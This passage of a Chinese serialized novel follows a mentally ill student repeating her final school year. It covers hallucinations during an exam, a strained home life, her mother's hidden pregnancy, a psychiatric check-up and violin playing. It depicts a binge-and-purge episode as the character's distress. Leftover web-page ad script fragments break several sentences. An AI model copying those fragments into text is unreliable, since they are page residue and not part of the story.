许是回忆的加成,田知意这晚睡得不错。 她没印象自己是什么时候睡着的,也不记得自己有做梦,且很幸运地在闹钟响的时候醒来了。 褚阿姨送来了早餐,豆浆油条、清粥小菜搭配一颗卤蛋。 田知意很喜欢将油条浸在豆浆里,等油条吸饱了浓郁香甜的汤汁,再咬一口慢慢吃。 一根油条下肚,粥也差不多温了。泛着油光的豆浆被推到一边,她就着卤蛋喝粥。 没有人催促她动作的迟缓,没有人指责她的浪费,她可以顺着自己的心意吃到刚刚好。 厌食和暴食间隙里难得的平衡已然成为极致的享受。 我生病了。她想。 但我健康的时候也不曾有过这么满足。 这日是开学第一天,班主任是个年过四十的大叔,姓曹,兼班主任。 曹老师看起来挺面善,话也不多,简单地做了自我介绍,又交代了些学习纪律,就开始发试卷。 “我的天。” 田知意听到轻轻的嘀咕,她循声看去,只见她的同桌冯钰神色绝望地趴在桌上。 察觉到田知意在看她,冯钰转过头来,悄声问田知意:“你不怕吗?” 田知意不理解她的怕指什么,只一脸困惑地看着她。 “考试啊,题目很难的。” 田知意点点头,算是明白了冯钰的意思。又旋即摇摇头,意思是她没觉得有什么可怕的。 田知意仍是不太愿意与陌生人说话,但这种表达方式显然达不到相互理解的效果。冯钰被她一会儿点头一会儿摇头弄糊涂了,刚想细问,却听到曹大叔的声音:“试卷发下来就不要交头接耳了。” 中年男人特有的低沉的、不怒自威的语调顿时让冯钰表达欲顿消。 她拧着眉开始读第一题,痛苦从眉间开始蔓延。 看清卷面的那一刻,田知意心里燃起一团火。火焰在黑色的字上灼烧,晃动的火苗让她怎么也看不清题目。 ……冷静,冷静。 她干巴巴地深吸了一口气,全然无太大作用。 急躁来得莫名其妙,更令她心慌。 医生曾叮嘱她一定要注意 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情绪的大起大落,尤其是无名的兴奋,可能是转变为别的病症的先兆。 “那要是有这样的症状该怎么办呢?”田知意当时是这样提问的。 她清楚地记得医生皱了皱眉后叹了口气:“那就考虑住院吧。” 她不想住院。 田知意闭上眼,努力将数字、符号从脑海里驱逐出去。 可在试卷看着分明模糊的字,在脑海里却变得异常清晰,仿佛战场上排布整齐的士兵,即将随阵法而动。 ……别这样。 田知意在心里对自己说。 可没有人听。 数学试卷像是印在了她脑子里一样,从最后一题开始,一题题呈现在她面前。 最后一题:数列题。 ……这题是卡人的难题,写个第一步就放弃。 再依次往前看,函数、解析几何、应用题。 ……函数肯定要求导,解析几何列出式子猜一猜解,应用题是数形结合。 心底里有个不属于她的声音在为她解题,是个中年男人的声音,有些熟悉又有些陌生。 田知意怔了怔,突然抬起头,对上正在监考的班主任的眼,绝望瞬时如火山般喷涌而出。 那个声音……是曹老师的。 她的大脑在自动合成曹老师的声音为她解题,她分不清对错,只知道自己已然丧失了思考的能力。 “田知意。”曹老师对着讲台上贴着的座位表喊她,“有哪里不舒服吗?” 她的父母曾交代过她生病的事,收这样的学生是校长的决定。高学费是学校收的,班主任不会因为班上有这样的学生就多拿一分钱,却要提着心吊着胆,生怕她想不开出事。 真实的声音与幻想的声音相撞,仿佛梦境碎裂的瞬间。田知意恍然从幻想中惊觉,勉强分清楚了什么是妄什么是真。 ……刚刚那些,都是假的。 她无力地摇了摇头,再看眼试卷,只见到清爽工整的字。 跃动的火焰已经消失。 她像是经历了一场酣战,大汗淋漓之后,拖着虚脱的身体和残破的兵械,步履蹒跚地晃荡在返回的路上。 纵然考试时间有两个小时,但总会有学生抢在收卷时多写几笔,在考试后叹恨来不及。 田知意只觉得疲累。 她忘了自己写了什么,只知道反正比高考时候写的多。 分数于她是太过遥远的未来,此刻她只想好好地静默着。 偏生周围的气氛并不想放过她,冯钰伸手在她眼前晃了晃:“考得怎么样?” 田知意抬眼看看她:“能怎么样?” 每多说一个字对她而言都是消耗,她需要节省精力以免再次陷入急躁的情绪中去。 “也是。”冯钰认同了她的看法,“都分到重点栽培班了,还能怎么样?” “重点?” 田知意觉得这名称怪可笑的。学校以高考成绩分班,想来同学都是和她水平相仿之人,她的高考成绩可跟“重点”二字毫不沾边,甚至对曾经就读的重点高中而言都是耻辱。 见田知意发问,冯钰可来了兴趣:“这你就不知道了吧?我们学校所有的班都叫重点班:重点提升班、重点发力班、重点栽培班、重点关注班。” ……原来是个排名倒数第二的班,没被分到重点关注班真是太好了。 她讨厌被关注。 5. 浮梦 冯钰所言果然非虚,重点栽培班的成绩着实感人,分班时排名中下的田知意,仅凭着不算马虎地答了些数学题,纵然只考了两位数的分数,总分排名便一跃进入班级前列。 田知意是从冯钰的口中听到自己的排名的:“知意,你考了第四名!英语分超高的!” 这不是个坏消息,前提是只有田知意一人听到。 然而事实恰恰相反,班里大部分学生都听到了,并不约而同地向她投来针扎般的不善目光。 这就是重点栽培班。 不至于像重点关注班的学生流落到社会上就极易成为作奸犯科分子,但也没绝没有重点发力班学生奋力一搏的信念。与重点提升班那些外人看来高考成绩已说得过去、只是为了梦想就能够再走一遍修罗场的学生相比,根本在两个世界。 他们是沉沦在泥淖里的躺平者,厌恶主动作为,不敢主动放弃。 他们总有比上不足的理由:别人生来富庶、天赋异禀、家教优良……比下却执着要有余,绝不允许身边人努力爬出泥潭。 比起厌学、懒惰的垫底生,他们更讨厌默默努力的卷王。 成绩一飞冲天的田知意已然被划入了这一令人厌恶行列。 尽管这点分数拿回原校,耻辱依然是耻辱。 田知意敏锐地觉察了一切,但被人关注远比被人讨厌更让她不适。 她没有应对他们的兴趣和力气,只将臂弯架起来,把头深深地埋了进去。 黑暗瞬间将她笼罩,也将周围的嘈杂逼退。 她像是电量耗尽的手机,沉浸在安全的环境里,体会着被舒适感拉长的每一分钟,慢慢地充电。 直到上课铃声的响起。 上课的时光总是格外漫长,即便是课间活力四射的冯钰,在课上也是一副蔫蔫的倦怠模样。 她推了推撑着脑袋的田知意,用铅笔在讲义边缘轻轻写字:“周末什么安排?” 田知意看了一眼,沉吟片刻后也写了两个字:“回家”。 这周六周日赶上社会考试借学校做考场,原本周六上午和周日下午的测验因此取消,是个着实难得的一个双休。 冯钰向着田知意点了点头,将原来的字擦掉,又轻轻地写:“下周?” 下周可就没有双休了。 田知意果然又回了两个字:“空的”。 冯钰来了兴致,擦了又写:“出来玩?” 田知意没有回答,只看了她一眼。 下课铃适时打响,冯钰觉得她有兴趣,直接缠上了田知意:“周边有家不错的KTV,咱们去那儿唱歌,就当放松一下,我跟上一年的学生打听过了,他们都是在那里玩的。” 田知意迟迟没有回应,她的面色沉静,仿佛一汪深泉。 她的心里却有一团欲熄未熄的火焰,曾在数学考试时差点喷发。 虽然不喜欢KTV的嘈杂环境,但或许酣畅淋漓地唱歌或许能将火焰完全地释放出来。 过了许久,她才点了点头:“也好。” 周五下课时间还没到,校外便停满了来接学生的车。 田知意的父母在高速上遇到堵车,发消息会晚一些到。 她便慢吞吞地收拾东西,等到教室里的人都走光了,才背上书包关门离开。 原以为这样会让车少些,没想到后来的车与要离开的车交会,路面仿佛打了死结的麻线,交警吹着哨忙碌地指挥。 有个车主技术一般,紧紧地握着方向盘,慌乱地东张西望,小心翼翼地夹在两辆车间行驶,生怕方向偏了刮蹭到哪边。 可无论怎么调整,方向总是忽左忽右地令人胆战心惊,最后车主放弃了努力,干脆停在路中,等待两边的车先走。 原本拥堵的交通,愈发迟滞。 田知意从车头前经过,看到两边车主骂骂咧咧的模样,以及中间车主满脸的颓败与绝望,没来由地咧了咧嘴。 她感觉自己和路中间的车主一样,处在重重的障壁之间,艰难前行。 唯一的区别是,车主能停下来等边上的车辆通过,而自己只能独自背负惊恐的命运。 回到学生公寓,田知意收拾了会儿东西后接到了母亲打来的语音:“我们到了,你下来吧。” 田知意“嗯嗯”地应下了,她没多少东西要带,只是为了回家后装小提琴才特意将行李箱清了出来。 她家车停在公寓门口。 父亲坐在驾驶座上,母亲从副驾驶的窗口探出脑袋:“你还带了行李箱?那要开后备箱了。” 说着,母亲招呼父亲将后备箱打开,父亲不情愿地照做了:“才上了一个星期学,有多少东西要带回来?” 田知意没有立即回答。双手将行李箱放好,待后备箱自动阖上,她上车坐定,这才回答:“没带什么,是要回家装东西的。” 父亲轻哼一声:“你最好不是带了一堆脏衣服回来让你妈洗。” 这话听得田知意心里直窝火。 仿佛一个星期的节能与冷静就是为了此刻将力量全爆发出来大吵一架似的。 她的颅内已经迅速预演起这场争端的全过程,无一例外都是她气结败北。 ……省省力气吧,田知意。 她在心里劝告自己。 犯不着让自己心里难受去吃药,药又不好吃。 纵然她一眼不发,车内的气氛也已然剑拔弩张。 母亲见势不对,连忙出声劝慰:“好了好了,女儿难得回来一次,别一见面就吵架……就算带了一堆脏衣服回来又怎么样呢,妈妈帮女儿洗衣服还不是天经地义的。” 父亲依旧是冷哼:“我还不是关心你,你就宠她吧。” 透过车内后视镜,田知意将父亲的神色尽收眼底,有关心、有傲娇,在外人看来是极和睦的家庭关系。 可惜这和睦的气氛是他们的,不属于她。 许是田知意沉默了太久,母亲意识到不对,故而重新起了个话题:“乖囡,明天有什么安排吗?” “我复查的时间到了。”田知意提醒母亲。 当初医生听说她要复读之后,表现出十足的担忧,千叮咛万嘱咐她上学后第一周一定要来复查。 “你妈明天刚好要去医院,你们做个伴。” 父亲意外出声,反倒母亲陷入沉默。 田知意察觉出不对:“妈妈身体怎么了?” 父亲还想说些什么,直接被母亲打断:“没什么问题,明天你就知道了。” 田知意不再说话,见这欲盖弥彰的样子,心里已然有了成形的揣测 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 尽管事情仍显犹疑,但毕竟明天就能揭晓答案,她已十分疲惫,不想再此时多费心力寻根究底。 她将目光投向窗外。夜幕初降,远处的树木林子黑黢黢的一片,路上的车纷纷亮起鲜红的示廓灯,仿佛墨色的画卷上的点点血痕。 田知意愈发觉得眩晕,垂着头睡着了。 等她醒来时,四周已经全黑了。田知意看了看时间,发现已经是晚上八点多。母亲拉开了车门,夜风呼呼地灌进车里。 “醒醒,到家了。”母亲说。 父亲走在了前面,沉默的背影像座山。 许是密封的车内让她有些缺氧,田知意勉力坐直身体,下车时脚下一软,险些摔倒。 所幸她及时扒住车身,只蹭了些车后门上的尘土。 “怎么了?”母亲边问边帮她掸掉尘土。 田知意摇摇头:“睡迷糊了,没事。” 她着手取下后备箱里的行李,母亲替她拉着走,两人边走边聊。 “最近学习压力大吗?”母亲问。 田知意私心觉得压力不算很大,毕竟她对自己没有要求,班里同学成绩又是那么一言难尽。 ……但这肯定不是母亲想要的回答。 田知意沉默着思考了片刻:“每天快十一点才下晚自习,回家还有题要写。” “那就是睡眠不足了。”母亲想了想,“是你一个人这样还是你们班都这样?” 田知意又沉默了。 他们班各种找借口翘晚自习的都有,下了晚自习还会学习的更是寥寥。 其实她也不是每天下了晚自习都会学习,只是这周内有做过。 ……这么说只怕会让母亲多想吧? 田知意想了想,斟酌着回答:“老师是这么要求的。” “哦,那倒是蛮苦的。”母亲还想问些什么,却听到父亲在前头喝道:“你们还在做什么?回家了。” 父亲停下脚步,回头打量她们,对母亲道:“这么点箱子还要你替她拿?都十八岁的人了,我们那会儿哪个不是十来岁就出去做工了?” 母亲握着拉杆的手明显一顿。 父亲转而又对田知意道:“你妈几岁你几岁,不知道心疼她的吗?” 田知意只得伸手拽过行李箱:“妈,我来吧。” 万向轮在两人面前拐了个奇怪的弧度,在地上留下漆黑的轮辙。 家中保姆阿姨已经备好了热菜,和母亲交代了一番才下班。母亲给保姆发了红包,算作今晚的加班费。 田知意看了眼父亲,他的嘴唇微微有些颤动,是即将连续不断地说话的先兆。 她迅速地别开眼,免得被父亲捕捉到她脸上不合时宜的表情。 为了能延长父亲发言的前摇,田知意主动呼唤了母亲:“妈,在忙什么呢?吃饭了。” 这次回来,她发现父亲对母亲有着特别的关心,这在从前的印象里是没有的。 她也就是赌一赌,她关心母亲的时候,能不能让父亲闭嘴。 果然,母亲乐呵呵地坐在了她边上:“我让阿姨晚些下班真是太好了,你看饭菜还是热的呢。” 田知意验证猜想似的扭头看向父亲,只见他一脸被迫沉默的不情愿,嘴唇的颤抖愈发激烈。 6. 浮梦 这一餐田知意没有少吃。 胃像是一只欲壑难填的小兽,掀动着疼痛的风浪,只有用食物填得满满当当才能得到片刻的喘息。 她吃得又快又急,看得母亲心惊:“你真是饿坏了,慢点吃,家里总保证你吃得饱的。” 父亲终于找到了插话的机会:“在外面不吃,回了家胃口倒好。” 田知意一顿,心想果然楼长把她有时吃不下晚饭的事说了。 ……又不是不知道她是因病导致的没胃口。 她正想着,胃部的疼痛马上将她的注意力从思绪中抽离出来。 接连不断的绞痛似乎在啮食她的胃部组织,以此威胁她一刻也不停歇地继续吃下去。 田知意只得停止思考,继续干饭。 父亲的声音仿佛长跑时侧耳而过的风,她尚且自顾不暇,哪里管得了别人的想法。 况且,田知意知道,等她停下时,鼓鼓囊囊的胃就会一阵阵地反涌上酸水和气体,来控诉她的暴食。 可那又怎样呢? 苦痛蜂拥而至,而她唯一能做的,就是让它们有序入场。 饭后,田知意借口要写作业,兀自进了房间。 平静关上门的下一秒,她快步冲进卫生间,对着马桶将刚刚吃的食物悉数呕出。 以前不是没有过饭后肠胃翻江倒海的时候,可那都是在暑假。 她疑心是开学的这周过惯了想吃多少吃多少的随心日子,学习上也没人为难她,她的胃因而变得娇气起来,丝毫受不了压力产生的暴食。 刚吃下的食物还没来得及消化,食物的本味混合着胃酸,在卫生间里发酵着令人恶心的气息。 田知意又呕了一阵,直到吐出的都是清液,才合上马桶盖,按下冲水按钮。 随着下水管里传来的虹吸声,胃部的酸胀也随着水流远去。她走到洗脸台前,打开水龙头放掉些冷水,这才抽出空来细细端详镜柜里的自己。 发丝枯黄毫无光泽,双眼通红晦暗无神。 在外复读时的状态自没有多好,但仍不及此刻的半分惨状。 她像个败军之将,勉强拾掇着溃不成军的理智,试图拼凑出成链的思路,却愣是提溜不出一句完整的话。 迟疑片刻,她伸手试试了龙头的水温,解了杯漱口水。 口腔里黏腻酸臭,她试着冲洗了好几遍喉咙,也未能让气味全部消弭。 仿佛脱胎于噩梦的残念,聚成阴翳的云,久久缠绕在她的头顶,似有似无,如影随形。 她刚在书桌前坐定,父亲便推门而入。 母亲尚且有敲门的习惯,父亲则全无这种可能。甚至他有时还会揣着突然袭击的心思,能抓到你不在学习的小动作才最好。 可惜,这次田知意的表现很好。灯光明亮、讲义平整、坐姿端正、字迹清晰,让他挑不出半分问题。于是,父亲沉默片刻,很刻意地问:“这些都是你刚刚做的?” 这话问得平常,言下之意却是带了刺的——他觉得如此短暂的时间田知意能做这么多题是不正常的,隐约有质疑她有偷抄别人作业之意。 若是被认定了抄作业,父亲就有了翻她书包、查她手机等寻找证据的权力,这时往往会被查到一些父亲不大乐意看到的东西,从而开展批判式教育。 田知意曾因此被父亲发现了书包里有“影响学习”的杂志,并借机删掉微信好友若干。 尽管那只是本文摘杂志,她用来收集作文素材的。 但……没用。 因为她的父亲说:“不要跟我说这些,学校发的书没见你看,要花时间来看这种杂志?” 如今田知意的段位高了不少,面对父亲的疑问,只是回答:“等你们来接我的时候已经写了一些。” “哦。”父亲没占到上风,也不说话,只在她房间里东看看西看看。那种审视的目光令田知意感觉不适:“有什么事吗?” “没什么事就不能看看吗?” 田知意微微抿唇。 房间是离家之后就收拾过了,她进来后除了去内卫整理了一遭,也不过就是从行李箱里取了作业出来,想来和回来前没什么变化。 ……真不知道父亲究竟想看到什么。 或许,他就是单纯无聊了。 果然,父亲看了一阵,兀自坐在她的床边上,玩起了手机。 田知意很不喜欢父亲的举动。 作为人类她不喜欢有人以审视者的姿态待在她的身后,作为学生她不喜欢自己学习的时候有人在身边玩手机,作为女孩她不喜欢有男人坐在她的床上,但她没有任何抗争的办法,只能继续埋头写题。 父亲玩了阵手机,突然出声:“最近学习怎么样?” “还可以吧。”田知意出声应付,手上停都不停。 “还可以是什么意思?”父亲显然对这个回答不满意。 “分数和排名班主任应该已经发给妈妈了。” 这回话不算什么好回答。 “发是发了,但你自己有数吗?” 这追问更不是什么好问题。 “有的。”田知意吸了一口气,手中的笔已经停了下来。 “复读对你的学习成绩的提升有用吗?花了不少钱的。”语气已如警察在审讯这不老实的嫌疑人。 “有的。”田知意依旧这么回答。 她也不知道有没有用,但她绝不能答没用。 “最好是这样。” 父亲又转过头去玩了会手机,约摸拖延了半个小时,这才站起身,走出了她的房间。 他来得突然,走得沉默。 往日多的是她的母亲在照顾她,父女也不曾有过多少体己的关心和交流,也不知道今天为什么磨蹭了那么久。 田知意沉思了一会儿,有了个初步的想法。 她偷偷走到门边,轻轻透出条缝来。听到客厅里电视剧的声响中夹杂着父母间的谈话。 “情况怎么样了?”母亲问。 “没什么情况,在做作业。” “在外面学习有没有遇到什么困难?” “她说还可以。” …… 几乎是母亲问一句,父亲答一句。末了,母亲低声叹息道:“我现在是特殊时期,不能有太大情绪起伏,不然该我好好关心她的。” “想那么多做什么。”父亲无所谓地答,“她都成年了。倒是你好好注意着肚子里的那个。高龄产妇可不是开玩笑的。” “我知道了。”田知意听到母亲嗔怪着呢喃,“要是能趁这个机会让你们父女俩更亲近些就好了。” “行了,别想了。” 田知意轻轻关上了门。 她难得庆幸自己是生病状态,钝化了思维钝化了感知,更钝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 化了情绪反应,不至于让突如其来的重磅消息将她的思维冲垮。 ……妈妈怀孕了。 那明天去医院大概率是为了产检。 可她才离家一周…… 不对,或许,在她暑假的时候,他们就已经? 田知意感觉到自己心脏“砰砰”地剧烈跳了起来,她的额头上沁出了细密的汗珠,摸上去冷冷的一片。 越是接近的真相的时刻,越是难以压抑自己的情绪。 田知意从行李箱里找出药和耳机。 ……乖乖吃药,再听一听歌。 明天会是很难的一天。 许是一直没想好该怎么明面告诉田知意自己怀孕的事,母亲取号取得遮遮掩掩,生怕一个手速慢了,被田知意看到她挂的是产科。 田知意很清楚母亲的为难,拿着自己的号背过了身去:“我先去看医生了。” 母亲不知道她是否猜到了什么,本能地先松口气,旋即又提起心来:“也好……要不还是我陪你吧。” 可田知意早已转身隐入了人群之中。 此时的精神心理科还不算忙碌,田知意轻车熟路地在门外的电子屏下扫了扫自己号,很快医生便喊到了她。 “最近感觉怎么样?”医生问,“有没有按时定量服药?” 医生的面前照例摆着张量表,是接下来要进行的测试。只是这次量表旁还多了本本子,不知有什么用途。 田知意完成了量表,一一回答了医生的问题,又配合做了些检查。 她的状态还算平静,但医生仍瞧出了她神情中的不协调:“遇到什么困难了吗?” “嗯……”田知意想了想,“我妈怀孕了。” 怀孕对一般人家而言着实是件天大的好事,但田知意丝毫高兴不起来。 新生命的出生意味着对她的否定和放弃……吗? 迟缓的思维解释不清她活跃而混沌的思绪,只能沉默地看着医生的眼睛。 所幸医生见惯人间惨剧,瞬间理解了她的隐忧:“是他们直接告诉你的吗?” 田知意摇头:“我无意中听来的。” 医生几不可查地吸了口气。 这个家庭里每个人都知道新生儿对于这个女孩意味着什么,便不约而同地选择了隐瞒。 “你怎么看待……胎儿呢?”医生问。 胎儿。 不是她的弟弟妹妹,也不是她爸妈未来的孩子。 只是一个还未出生的生命。 田知意很喜欢医生的措辞,很客观,也不会触发她更多的联想。 “我爸妈不需要我了吧。”她想了想说。 “只是想要他们的需要吗?”医生继续问,“客观来讲,一个新生命会带来很多手忙脚乱的事,多个人帮忙反而多份力。” “不是那种麻烦我的需要。”田知意微微调整坐姿,“哦,我懂了。” ……是这个世界没人关心她了。 医生没有再问,只是拿起量表边上的本子:“这是我设计的情绪日记,一天一页,到你下次复查能写得差不多,到时候能麻烦你带过来吗?” 田知意翻了翻本子,有和量表一样的几个问题,最下方有大段的自填空白。 “我不喜欢写日记。”她看着医生的眼睛说。 她不是长了四个胃的牛,反刍只会逼她回味苦痛。 7. 浮梦 “只是日常的情绪监测。”医生回答,“类似于每天填一次简单量表,可能有些繁琐,但应该不会太困难。” 田知意想了想,点点头。 “那就很好了。”医生说,“下面的空白不是用来写传统意义上的日记的。平静地度过了一天就不写,度过了糟糕的一天也不写,只写最高兴的事,或者下次复查时想问我但怕忘了的问题。” “如果我什么都没写呢?”田知意问。 “那也没事,做好量表就足够了。空白处是个备忘录,你拿它记笔记作业都可以。” “那你会看吗?”田知意又问。 “这样的话……可以把量表拍给我看,这个对我比较重要。”医生打开了他的名片,“加个微信,方便联系。” 田知意没有去扫,只反问他:“我妈加过你吗?” “如果家长对孩子的康复没有正向作用的话,我不会主动提出要加微信。” “那孩子的微信呢?” “一般不加未*成年人的。”医生说着笑了笑,“不过你已经成年了,可以为自己的行为负责。” 她是个成年人了。 可能是因为还在复读,她还是习惯把自己当作一个孩子,但在法律上确实已经成年了。 田知意没再问什么,只拿出手机扫了扫二维码。 片刻后,她说:“下次我会把本子带过来的。” 诊疗结束后,田知意去找母亲缴费取药。她在产科外的休息区没有看到母亲的身影,也弄不清楚母亲产检的项目,便坐在了不锈钢长椅上,等母亲返回看报告。 她身边环绕着满脸期待的夫妻,细细看来,很多孕妇都是上了年纪的,有的身边还带着一个小女孩。 小女孩一脸无辜地啃着手指,茫然的神情和田知意的一模一样。 她知道将会面临什么吗? 田知意想,应该是不知道的吧。 就和自己一样,对未来的一切毫无预见与觉知,只有无奈和恐惧常伴。 她这年纪混在孕妇之中显得格格不入。 坐下没多久后,一位护士走过来询问她是否扫了排队的二维码,得知她是等人的时候便离开了。 幸好不是来问她是不是打算人*流走错了科室。 田知意又坐了会儿,没发现母亲有回来的迹象,便起身离开了。 她折回到精神心理科,发现母亲坐在门外等她。 “你去哪儿了?”母亲问。 田知意想了想,胡说道:“上厕所去了,有点拉肚子。” 母亲脸上闪过一丝秘密得守的轻松。 田知意别开眼,不去看母亲手上的袋子:“走吧,我还没缴费取药呢。” 母亲走在前面,田知意跟在她身后,掏出手机给医生发消息。 【kaamos:医生,我这样状态可以拉小提琴吗?】 医生过了一会儿才回她。 【医生:当然可以,有个兴趣爱好是个好事。】 田知意默默将手机收了起来,跟上了母亲的脚步。 收起小提琴是在读了高中、课业繁忙的时候,田知意还能想起放在哪边的柜子里。琴盒被保存在了最里层,外面堆了很多杂七杂八的东西,为琴盒隔绝了灰尘和空气。 这把小提琴买的时候价位不低,保养得也好,轻轻拨动仍铿然有声,只是琴弦略有松动,音调已经不准。 ……算了,反正也就随便试试。 她轻轻拨动着琴弦,抬眼看见一张开琴盒时飞出来掉落在地的曲谱。 她拾起来看了眼,是《Gymnopédies》。 ……原来是它。 小提琴是高音乐器,用来演奏《Gymnopédies》并不如其他乐器悦耳,甚至还有些尖锐。 田知意却格外迷恋那种声响,像是灵魂获得自由前必须挤压躯壳的感觉。 母亲不爱听,但不便直言“难听”,就借着看重考级的由头,斥责她“不务正业”。 她只能偷偷印了一份曲谱。 田知意轻轻地哼吟起来,久违的曲调在房间弥漫,连带着她觉得自己的手指都有些痒痒。 鬼使神差地,她把纽扣电池装进了将电动调音器里,又把调音器夹在了琴上。 许是太久没使用反而延长了电池的寿命,调音器的屏幕闪了闪,开始工作。 本以为会手生,没想到拧紧琴弦的那一刻,旧时练琴的回忆纷纷涌入脑海,她与琴就像是久别重逢的好友,见面前所有的踟蹰、所有的预演都被见面时的熟悉和欣喜冲散,反反复复端详彼此,惊觉谁也没有变。 是的,总有一些热爱,可能会遗忘,却永不可能背叛。 她边拨弦边听音,禁不住眼角有些潮潮的。 想起将琴收起来的这三年,仿佛一场拖拖沓沓的噩梦,有人进来,有人出去,以为永远不会变的在不知不觉已经面目全非,以为早已失去的却好好地留在了原地。 ……人与人的羁绊竟是如此脆弱,甚至不如人与一把琴。 周日晚上有晚自习,午餐过后,田知意便踏上了回校的旅程。 这次母亲没有跟过去,舟车劳顿,父亲担心她往来太过辛苦,主动提出自己独自送田知意。 ……母亲不去的话就要坐副驾驶了。 田知意私心并不想这样,和父亲并排坐会降低交流的难度,给他教育自己的机会。 可是她知道此事没有争辩的余地,只是沉默地将行李搬上后备箱,沉默地坐上副驾驶位。 车辆发动,田知意回避似的将目光投向窗外,她和父亲一路沉默着,倒也相安无事。 不知过了多久,车外的风景变得单调起来,他们行驶在了高速公路上。父亲突然开口:“你下次到国庆再回来吧,家里有了些变化,你昨天应该知道了,也该体谅你妈。” 田知意觉得父亲指的应该是母亲怀孕这件事,但母亲似乎没有告诉父亲她瞒得死死的。 也不,或许父亲并不在意母亲有没有说,只是以这种姿态表现出她应该了解并理解的状态。 田知意慢慢地思考,没顾得上回答父亲。 父亲没得到她的肯定回答,有些愠怒:“在任性吗?你已经18岁了,不是小孩子了。” “我在想,那我的成绩还要让老师发给妈妈吗?”田知意接上了话茬。 父亲一愣,似乎从未想过这个问题。 他总是这样想一出是一出。田知意不点破多是因为恐惧,而不是没看穿。 沉默片刻后,父亲终究挤出来一句:“算了,别烦你妈了,学习也不是她的事,把短信服务退掉就是了,还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 能省几个钱。” 最后一句他说得轻快,仿佛往许愿池边投了枚硬币,希冀能听到正中池心的水花声。 奈何硬币偏得太远,掉在了泥地上,落得个无声无息。 田知意不领他的轻快,只是问:“那楼长那里也是我对接吗?” “自己解决吧,给你的生活费也不少,缺钱了再跟家里说。”方才的尴尬让父亲只想尽快结束对话。 “……好。”田知意微微垂下眼。 这一路,她没再说过一句话。 到连口时刚好是下午,阳光正好。 学生公寓的附近有一座街心公园,面积不大但植被茂密,这个点也没什么散步的居民,很适合练琴。 田知意带着琴盒,步行前往公园。 午后的连口镇连空气都懒洋洋的,阳光暖暖的,风却凉凉的,搭配在一起有种刚好互补的惬意。 没了急匆匆的学生,路上空旷了许多,难得有辆车从远处过来,轮胎碾过地面,掀动石子翻滚着飞出去。 二十分钟开来的一班公交也是慢吞吞的,上下车的人很少,动作也不快。 田知意极少享受过这样单纯的恬静。 她的脑袋里染上了一层好看的金色,朦朦胧胧又热乎乎的,像是将一下午的阳光都装了进来。 神经柔柔软软地耷拉下来,似乎也在享受午后的闲暇,到处都是说不出的熨帖。 公园里也是静悄悄,只有风吹过时簌簌地落叶。 她很容易就找到一条长椅,稍加擦拭后就坐了下来。 时光仿佛倒流回那些独自练琴的时光,没有压力没有目的,凭着兴趣,喜欢什么曲子就拉什么曲子,也不管对错,只消琴声流畅即可。 田知意闭上眼。 琴声在她的指尖倾泻,将一切声响都容纳其间。她听到琴声里有林叶声沙沙,有脚步声近,有人在她身边停下脚步,有极轻极细的呼吸交缠。 田知意慢慢地收了音,睁开了眼。 闻漫的身影在这时映入了她的眼帘。 她看到染了杂色的绿叶间流连的温暖阳光,迤逦出金色的裙边,落在凝神谛听的闻漫身上。 他像是漫画中的少年,走过银杏落叶铺成的长毯,沐浴在光芒里,全神贯注地凝视着她,眼底璀璨若藏了亿万颗星。 田知意放下琴:“你们也有双休吗?” 她听说三中课业很卷,复读学校的单休就是跟他们学的。 闻漫出现在这里着实不太自然。 “今天上午我去参加高联考试了,刚从扬城回来。”想到这里,闻漫不禁笑出了声,“所以干脆翘了下午的自习。” 高联是指全国高中数学联赛,是跻身CMO、保送清北甚至迈向国际的阶梯。 “好学生也会翘课吗?”田知意看着他问。 “劳逸结合嘛。”闻漫看向她手中的琴,“这里我以前常来散步,第一次听到有人练琴,很好听。” “我也是刚把琴带过来。”田知意想到他发给自己的歌单,一时想投桃报李,“想听什么曲子?” “什么都可以吗?” “不会的我会说的。” “好吧。”闻漫稍稍思忖,“恰空舞曲?” 田知意微微一愣,旋即轻轻地笑起来:“你还挺有品味的嘛。” 8. 浮梦 恰空舞曲被称为“小提琴音乐的圣经”,也有人说是巴赫最难的小提琴曲。 田知意曾苦练过恰空舞曲,也有过能流畅演奏的时候。 只是现在……恐怕不行了。 她垂下眼,轻声问闻漫:“为什么想听恰空舞曲?” 据他之前分享的歌单,不难判断他对古典音乐是有自己的偏好和理解的,但她不想闻漫在考验她。 这会让她难受。 “唔……”闻漫想了想,“因为据说这是福尔摩斯喜欢的曲子。” “福尔摩斯……?”田知意没想到他会这么回答,“真是个令人意外的名字。” “是个……挺有名的侦探。” “我知道。”田知意被他的犹豫逗笑了,“我看过《名侦探柯南》。” 《神探夏洛克》好像也火过一阵,但她没看过。 “啊,对,柯南。很多人是因为《名侦探柯南》知道福尔摩斯的。” “那你呢?”田知意看着闻漫,目光探究。 闻漫微微别开眼:“我……不是。小学的时候有篇课文是《血字的研究》的节选,就是华生医生认识福尔摩斯那段。” “这么说……我有点印象了。” 就是福尔摩斯握个手就知道华生是军医的经典桥段。 田知意兀自想着,依旧盯着闻漫:“书里写了他喜欢恰空舞曲吗?” “书中提到福尔摩斯认可德国音乐,也会为医生演奏门德尔松的短歌,结合‘有时琴声高亢而忧郁,有时又古怪而欢畅’的表述,就有人推测那可能是恰空舞曲。” 田知意点点头。 确实很符合对恰空舞曲的形容。 “你听过恰空舞曲吗?”田知意又问。 “在网上搜过。” “感觉如何?” “感觉是天才会喜欢的音乐。” ……天才吗? 田知意抿了抿唇,眉眼弯弯绽开抹浅浅的笑意:“给我些时间……重新练练。” “好。” 闻漫笑着应了。他抬手看了眼腕上的表:“已经这个点了。我想去吃点东西,一起来吗?” “我……”田知意想说自己吃过了,可静下来想想,才意识到中午因为胃口太差并没有吃什么。 “……也好。”她将拒绝的话吞下肚,“但我要先回去把琴收起来。” “我也有东西要拿。” 暖橙色的阳光笼罩了整片街心公园,天地间满是溶溶的暖意。 他俩一前一后沉默地走着,耳畔唯有风声飒飒,似是花与叶的呢喃。 田知意刚收好琴,就听到“笃笃笃”的敲门声。 